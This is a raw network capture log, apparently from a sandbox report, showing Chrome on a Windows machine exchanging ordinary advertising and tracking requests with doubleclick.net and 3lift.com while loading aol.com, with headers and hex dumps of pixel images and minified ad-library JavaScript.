2024-05-23 22:35:04 UTC	765	OUT	GET /pixel?google_nid=triplelift&gdpr=0&gdpr_consent=&us_privacy=&google_hm=MzQ3NjQ5MDEwODY2MzM4NTE4NTQ0MA%3D%3D HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
2024-05-23 22:35:04 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 23 May 2024 22:35:04 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:04 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.6	50189	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	877	OUT	GET /static/topics/topics_frame.html HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
2024-05-23 22:35:04 UTC	710	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-gpt-scs" Report-To: {"group":"ads-gpt-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-gpt-scs"}]} Content-Length: 104534 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 23 May 2024 22:06:45 GMT Expires: Thu, 23 May 2024 22:56:45 GMT Cache-Control: public, max-age=3000, stale-while-revalidate=3600 Age: 1699 Last-Modified: Mon, 20 May 2024 19:49:21 GMT Content-Type: text/html Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:04 UTC	680	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 6f 70 69 63 73 20 46 72 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 0a 20 20 20 20 20 20 68 74 74 70 2d 65 71 75 69 76 3d 22 6f 72 69 67 69 6e 2d 74 72 69 61 6c 22 0a 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 41 76 68 35 4e 79 30 58 45 46 43 79 51 37 2b 6f 4e 69 65 58 73 6b 55 72 71 59 38 65 64 55 7a 4c 35 2f 58 72 77 4b 6c 47 6a 41 52 51 48 57 34 54 46 52 4b 2b 6a 56 64 35 48 6e 44 49 70 59 32 30 6e 35 4f 4c 48 66 67 55 34 6b 75 37 78 34 38 4e 33 75 68 47 2f 41 30 41 41 41 42 78 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f Data Ascii: <!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <title>Topics Frame</title> <meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iO
2024-05-23 22:35:04 UTC	1390	IN	Data Raw: 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 2c 64 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 Data Ascii: {if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b
2024-05-23 22:35:04 UTC	1390	IN	Data Raw: 72 72 61 79 20 49 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 43 6c 61 6d 70 65 64 41 72 72 61 79 20 49 6e 74 31 36 41 72 72 61 79 20 55 69 6e 74 31 36 41 72 72 61 79 20 49 6e 74 33 32 41 72 72 61 79 20 55 69 6e 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 36 34 41 72 72 61 79 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 65 61 5b 62 5b 63 5d 5d 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 26 26 63 61 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c Data Ascii: rray Int8Array Uint8Array Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),c=0;c<b.length;c++){var d=ea[b[c]];"function"===typeof d&&"function"!=typeof d.prototype[a]&&ca(d.prototype,a,{configurable:!0,
2024-05-23 22:35:04 UTC	1390	IN	Data Raw: 28 61 2c 62 29 7b 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 3b 69 66 28 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 21 3d 3d 62 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 61 2b 22 20 69 73 20 6e 6f 74 20 65 78 74 65 6e 73 69 62 6c 65 22 29 3b 72 65 74 75 72 6e 20 61 7d 3a 6e 75 6c 6c 7d 76 61 72 20 73 61 3d 6f 61 2c 79 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 61 28 62 2e 70 72 6f 74 6f 74 79 70 65 29 3b 61 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 61 3b 69 66 28 73 61 29 73 61 28 61 2c 62 29 3b 65 6c 73 65 20 66 6f 72 28 76 61 72 20 63 20 69 6e 20 62 29 69 66 28 22 70 72 6f 74 6f 74 79 70 65 22 21 3d 63 29 69 66 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 Data Ascii: (a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}var sa=oa,y=function(a,b){a.prototype=na(b.prototype);a.prototype.constructor=a;if(sa)sa(a,b);else for(var c in b)if("prototype"!=c)if(Object.definePropertie
2024-05-23 22:35:04 UTC	1390	IN	Data Raw: 2e 67 2e 6c 3b 61 2e 67 2e 6c 3d 6e 75 6c 6c 3b 69 66 28 62 2e 45 61 29 74 68 72 6f 77 20 62 2e 6c 61 3b 72 65 74 75 72 6e 7b 76 61 6c 75 65 3a 62 2e 72 65 74 75 72 6e 2c 64 6f 6e 65 3a 21 30 7d 7d 72 65 74 75 72 6e 7b 76 61 6c 75 65 3a 76 6f 69 64 20 30 2c 64 6f 6e 65 3a 21 30 7d 7d 2c 43 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 75 61 28 61 2e 67 29 3b 61 2e 67 2e 69 3f 62 3d 7a 61 28 61 2c 61 2e 67 2e 69 2e 6e 65 78 74 2c 62 2c 61 2e 67 2e 55 29 3a 28 61 2e 67 2e 55 28 62 29 2c 62 3d 41 61 28 61 29 29 3b 72 65 74 75 72 6e 20 62 7d 3b 74 68 69 73 2e 74 68 72 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 75 61 28 61 2e 67 29 3b 61 2e 67 2e 69 3f 62 3d 7a 61 28 61 2c 61 2e 67 2e 69 5b 22 74 Data Ascii: .g.l;a.g.l=null;if(b.Ea)throw b.la;return{value:b.return,done:!0}}return{value:void 0,done:!0}},Ca=function(a){this.next=function(b){ua(a.g);a.g.i?b=za(a,a.g.i.next,b,a.g.U):(a.g.U(b),b=Aa(a));return b};this.throw=function(b){ua(a.g);a.g.i?b=za(a,a.g.i["t
2024-05-23 22:35:04 UTC	1390	IN	Data Raw: 6e 28 66 29 7b 74 68 69 73 2e 68 3d 30 3b 74 68 69 73 2e 69 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 67 3d 5b 5d 3b 74 68 69 73 2e 55 3d 21 31 3b 76 61 72 20 68 3d 74 68 69 73 2e 6c 28 29 3b 74 72 79 7b 66 28 68 2e 72 65 73 6f 6c 76 65 2c 68 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6b 29 7b 68 2e 72 65 6a 65 63 74 28 6b 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 66 28 6c 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6b 7c 7c 28 6b 3d 21 30 2c 6c 2e 63 61 6c 6c 28 68 2c 6e 29 29 7d 7d 76 61 72 20 68 3d 74 68 69 73 2c 6b 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 66 28 74 68 69 73 2e 76 61 29 2c 72 65 6a 65 63 74 3a 66 28 74 68 69 73 2e 73 29 7d 7d 3b 65 Data Ascii: n(f){this.h=0;this.i=void 0;this.g=[];this.U=!1;var h=this.l();try{f(h.resolve,h.reject)}catch(k){h.reject(k)}};e.prototype.l=function(){function f(l){return function(n){k\|\|(k=!0,l.call(h,n))}}var h=this,k=!1;return{resolve:f(this.va),reject:f(this.s)}};e
2024-05-23 22:35:04 UTC	1390	IN	Data Raw: 61 73 6f 6e 3d 74 68 69 73 2e 69 3b 72 65 74 75 72 6e 20 6b 28 66 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 75 6c 6c 21 3d 74 68 69 73 2e 67 29 7b 66 6f 72 28 76 61 72 20 66 3d 30 3b 66 3c 74 68 69 73 2e 67 2e 6c 65 6e 67 74 68 3b 2b 2b 66 29 67 2e 68 28 74 68 69 73 2e 67 5b 66 5d 29 3b 74 68 69 73 2e 67 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 67 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 78 61 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 76 61 72 20 68 3d 74 68 69 73 2e 6c 28 29 3b 66 2e 5a 28 68 2e 72 65 73 6f 6c 76 65 2c 68 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 61 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6c 28 29 3b 74 72 79 Data Ascii: ason=this.i;return k(f)};e.prototype.sa=function(){if(null!=this.g){for(var f=0;f<this.g.length;++f)g.h(this.g[f]);this.g=null}};var g=new b;e.prototype.xa=function(f){var h=this.l();f.Z(h.resolve,h.reject)};e.prototype.ya=function(f,h){var k=this.l();try
2024-05-23 22:35:04 UTC	1390	IN	Data Raw: 21 31 3b 74 72 79 7b 76 61 72 20 66 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 7d 29 2c 68 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 7d 29 2c 6b 3d 6e 65 77 20 61 28 5b 5b 66 2c 32 5d 2c 5b 68 2c 33 5d 5d 29 3b 69 66 28 32 21 3d 6b 2e 67 65 74 28 66 29 7c 7c 33 21 3d 6b 2e 67 65 74 28 68 29 29 72 65 74 75 72 6e 21 31 3b 6b 2e 64 65 6c 65 74 65 28 66 29 3b 6b 2e 73 65 74 28 68 2c 34 29 3b 72 65 74 75 72 6e 21 6b 2e 68 61 73 28 66 29 26 26 34 3d 3d 6b 2e 67 65 74 28 68 29 7d 63 61 74 63 68 28 6c 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 76 61 72 20 64 3d 22 24 6a 73 63 6f 6d 70 5f 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2c 65 3d 30 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 74 68 69 73 2e 67 3d 28 65 Data Ascii: !1;try{var f=Object.seal({}),h=Object.seal({}),k=new a([[f,2],[h,3]]);if(2!=k.get(f)\|\|3!=k.get(h))return!1;k.delete(f);k.set(h,4);return!k.has(f)&&4==k.get(h)}catch(l){return!1}}())return a;var d="$jscomp_hidden_"+Math.random(),e=0,g=function(f){this.g=(e
2024-05-23 22:35:04 UTC	1390	IN	Data Raw: 5d 29 7d 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 6b 29 7b 68 3d 30 3d 3d 3d 68 3f 30 3a 68 3b 76 61 72 20 6c 3d 64 28 74 68 69 73 2c 68 29 3b 6c 2e 6c 69 73 74 7c 7c 28 6c 2e 6c 69 73 74 3d 74 68 69 73 5b 30 5d 5b 6c 2e 69 64 5d 3d 5b 5d 29 3b 6c 2e 41 3f 6c 2e 41 2e 76 61 6c 75 65 3d 6b 3a 28 6c 2e 41 3d 7b 6e 65 78 74 3a 74 68 69 73 5b 31 5d 2c 48 3a 74 68 69 73 5b 31 5d 2e 48 2c 68 65 61 64 3a 74 68 69 73 5b 31 5d 2c 6b 65 79 3a 68 2c 76 61 6c 75 65 3a 6b 7d 2c 6c 2e 6c 69 73 74 2e 70 75 73 68 28 6c 2e 41 29 2c 74 68 69 73 5b 31 5d 2e 48 2e 6e 65 78 74 3d 6c 2e 41 2c 74 68 69 73 5b 31 5d 2e 48 3d 6c 2e 41 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 70 72 6f 74 6f Data Ascii: ])}};c.prototype.set=function(h,k){h=0===h?0:h;var l=d(this,h);l.list\|\|(l.list=this[0][l.id]=[]);l.A?l.A.value=k:(l.A={next:this[1],H:this[1].H,head:this[1],key:h,value:k},l.list.push(l.A),this[1].H.next=l.A,this[1].H=l.A,this.size++);return this};c.proto
2024-05-23 22:35:04 UTC	1390	IN	Data Raw: 6c 2e 48 3b 66 6f 72 28 3b 6c 2e 6e 65 78 74 21 3d 6c 2e 68 65 61 64 3b 29 72 65 74 75 72 6e 20 6c 3d 6c 2e 6e 65 78 74 2c 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 6b 28 6c 29 7d 3b 6c 3d 6e 75 6c 6c 7d 72 65 74 75 72 6e 7b 64 6f 6e 65 3a 21 30 2c 76 61 6c 75 65 3a 76 6f 69 64 20 30 7d 7d 29 7d 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 3d 7b 7d 3b 72 65 74 75 72 6e 20 68 2e 48 3d 68 2e 6e 65 78 74 3d 68 2e 68 65 61 64 3d 68 7d 2c 66 3d 30 3b 72 65 74 75 72 6e 20 63 7d 2c 22 65 73 36 22 29 3b 77 28 22 4e 75 6d 62 65 72 2e 4d 41 58 5f 53 41 46 45 5f 49 4e 54 45 47 45 52 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 39 30 30 37 31 39 39 32 35 34 37 34 30 39 39 31 7d 2c 22 65 73 36 22 29 3b 77 28 22 4e 75 6d 62 65 72 2e 69 73 Data Ascii: l.H;for(;l.next!=l.head;)return l=l.next,{done:!1,value:k(l)};l=null}return{done:!0,value:void 0}})},g=function(){var h={};return h.H=h.next=h.head=h},f=0;return c},"es6");w("Number.MAX_SAFE_INTEGER",function(){return 9007199254740991},"es6");w("Number.is

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.6	50175	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	816	OUT	GET /pixel?google_nid=triplelift&google_cm=&google_sc=&gdpr=0&gdpr_consent=&google_tc= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
2024-05-23 22:35:04 UTC	685	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://eb2.3lift.com/xuid?mid=5989&xuid=CAESEDunR39p6uOag-kf4Op45Fg&dongle=c627&gdpr=0&gdpr_consent=&google_cver=1 Date: Thu, 23 May 2024 22:35:04 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 332 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:04 UTC	332	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 78 75 69 64 3f 6d 69 64 3d 35 39 38 39 26 61 6d 70 3b 78 75 69 64 3d 43 41 45 53 45 44 75 6e 52 33 39 70 36 75 4f 61 67 2d 6b 66 34 4f 70 34 35 46 67 26 61 6d 70 3b 64 6f 6e 67 6c 65 3d 63 36 32 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://eb2.3lift.com/xuid?mid=5989&xuid=CAESEDunR39p6uOag-kf4Op45Fg&dongle=c62

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.6	50187	142.250.186.66	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	2621	OUT	GET /gampad/ads?pvsid=296895992675461&correlator=3552593360320675&eid=31079956%2C31083928%2C31079525%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202405220101&ptt=17&impl=fifs&gdpr=0&us_privacy=1YNN&gpp_sid=-1&iu_parts=22888152279%2Cus%2Caol%2Chp%2Cdt%2Cus_aol_hp_dt_top_center%2Cus_aol_hp_dt_mid_center%2Cus_aol_hp_dt_as_top_right_b%2Cus_aol_hp_dt_as_top_right_a&enc_prev_ius=%2F0%2F1%2F2%2F3%2F4%2F5%2C%2F0%2F1%2F2%2F3%2F4%2F6%2C%2F0%2F1%2F2%2F3%2F4%2F7%2C%2F0%2F1%2F2%2F3%2F4%2F8&prev_iu_szs=728x90%7C970x250%7C3x1%2C970x250%2C300x250%2C300x250&ifi=1&sfv=1-0-40&fsfs=1%2C1%2C1%2C1&fsbs=1%2C1%2C1%2C1&eri=37&sc=1&cookie_enabled=1&abxe=1&dt=1716503701459&adxs=268%2C197%2C855%2C855&adys=0%2C1810%2C721%2C121&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0%7C1%7C0%7C0&ucis=1%7C2%7C3%7C4&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=-240&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU [TRUNCATED] Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
2024-05-23 22:35:05 UTC	953	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.aol.com Observe-Browsing-Topics: ?1 Google-LineItem-Id: -2,6700431524,6700431524,6700431524 Google-Creative-Id: -2,138473884103,138470143005,138472897557 Google-MediationGroup-Id: -2,-2,-2,-2 Google-MediationTag-Id: -2 Date: Thu, 23 May 2024 22:35:05 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/plain; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-23 22:35:05 UTC	437	IN	Data Raw: 38 30 30 30 0d 0a 7b 22 2f 32 32 38 38 38 31 35 32 32 37 39 2f 75 73 2f 61 6f 6c 2f 68 70 2f 64 74 2f 75 73 5f 61 6f 6c 5f 68 70 5f 64 74 5f 74 6f 70 5f 63 65 6e 74 65 72 22 3a 5b 22 68 74 6d 6c 22 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 30 2c 39 30 2c 37 32 38 2c 31 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 22 49 44 3d 63 66 33 34 62 63 30 30 34 61 62 38 35 33 39 36 3a 54 3d 31 37 31 36 35 30 33 37 30 34 3a 52 54 3d 31 37 31 36 35 30 33 37 30 34 3a 53 3d 41 4c 4e 49 5f 4d 5a 6e 4f 42 35 31 77 6e 72 63 45 57 6a 5a 70 72 62 36 72 76 4f 4a 55 67 43 6c 6d 51 22 2c 31 37 35 30 31 39 39 37 30 34 2c 22 2f 22 2c 22 61 6f 6c 2e 63 6f 6d 22 2c 31 5d 2c 5b 22 55 49 44 3d 30 30 30 30 30 65 32 39 39 39 61 61 63 64 66 65 3a 54 3d 31 37 Data Ascii: 8000{"/22888152279/us/aol/hp/dt/us_aol_hp_dt_top_center":["html",0,null,null,0,90,728,1,0,null,null,null,null,[["ID=cf34bc004ab85396:T=1716503704:RT=1716503704:S=ALNI_MZnOB51wnrcEWjZprb6rvOJUgClmQ",1750199704,"/","aol.com",1],["UID=00000e2999aacdfe:T=17
